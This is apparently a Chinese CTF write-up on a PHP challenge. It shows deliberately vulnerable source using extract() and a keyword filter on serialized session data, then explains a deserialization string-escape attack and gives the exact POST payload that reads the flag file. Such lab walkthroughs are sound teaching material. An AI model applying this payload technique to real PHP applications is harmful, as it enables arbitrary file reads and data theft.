本文最后更新于:2024年12月14日 下午
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| <?php
$function = @$_GET['f'];
function filter($img){ $filter_arr = array('php','flag','php5','php4','fl1g'); $filter = '/'.implode('|',$filter_arr).'/i'; return preg_replace($filter,'',$img); }
if($_SESSION){ unset($_SESSION); }
$_SESSION["user"] = 'guest'; $_SESSION['function'] = $function;
extract($_POST);
if(!$function){ echo '<a href="index.php?f=highlight_file">source_code</a>'; }
if(!$_GET['img_path']){ $_SESSION['img'] = base64_encode('guest_img.png'); }else{ $_SESSION['img'] = sha1(base64_encode($_GET['img_path'])); }
$serialize_info = filter(serialize($_SESSION));
if($function == 'highlight_file'){ highlight_file('index.php'); }else if($function == 'phpinfo'){ eval('phpinfo();'); }else if($function == 'show_image'){ $userinfo = unserialize($serialize_info); echo file_get_contents(base64_decode($userinfo['img'])); }
|
审计代码,最终的目标是file_get_contents读任意文件,这里不知道flag的名称,看到提示看phpinfo,发现名称为d0g3_f1ag.php
看过y4神的博客后可以想到这里的waf对字符串进行了一个替换,造成了序列化数据的长度改变,可以直接进行反序列化字符逃逸构造img
1 2
| $_SESSION["user"] = 'flagflagflagflagflagflagphpphpphp'; $_SESSION['function'] = 'show_image";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1:"1";s:1:"1";}';
|
这里有两个坑,第一个是extract上传的时候是不需要引号的,payload如下应该
1
| _SESSION[user]=flagflagflagflagflagphp&_SESSION[function]=";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1:"1";s:1:"2";}
|
第二个就是最后那一段随意的变量,为什么需要这一段呢,一开始我的payload是没有这一段的,结果发现没法打出来flag
1 2 3 4 5
| if(!$_GET['img_path']){ $_SESSION['img'] = base64_encode('guest_img.png'); }else{ $_SESSION['img'] = sha1(base64_encode($_GET['img_path'])); }
|
可以看到在extract覆盖变量之后,这里又构造了个img,跟在了我们的payload后面,需要构造一个变量来截断他,此时的序列化数据是a:3
,如果不构造一个序列化变量的话,我们逃逸出来的img就会被后面序列化出来的img覆盖,也就是说需要构造一个人畜无害的变量来占用a:3
的序列化名额
最后post把payload打上去就ok,告诉我们flag在/d0g3_fllllllag
重新改一下payload去读这个文件就得到flag了
y4师傅的总结非常不错,确实一篇就够了https://blog.csdn.net/solitudi/article/details/113588692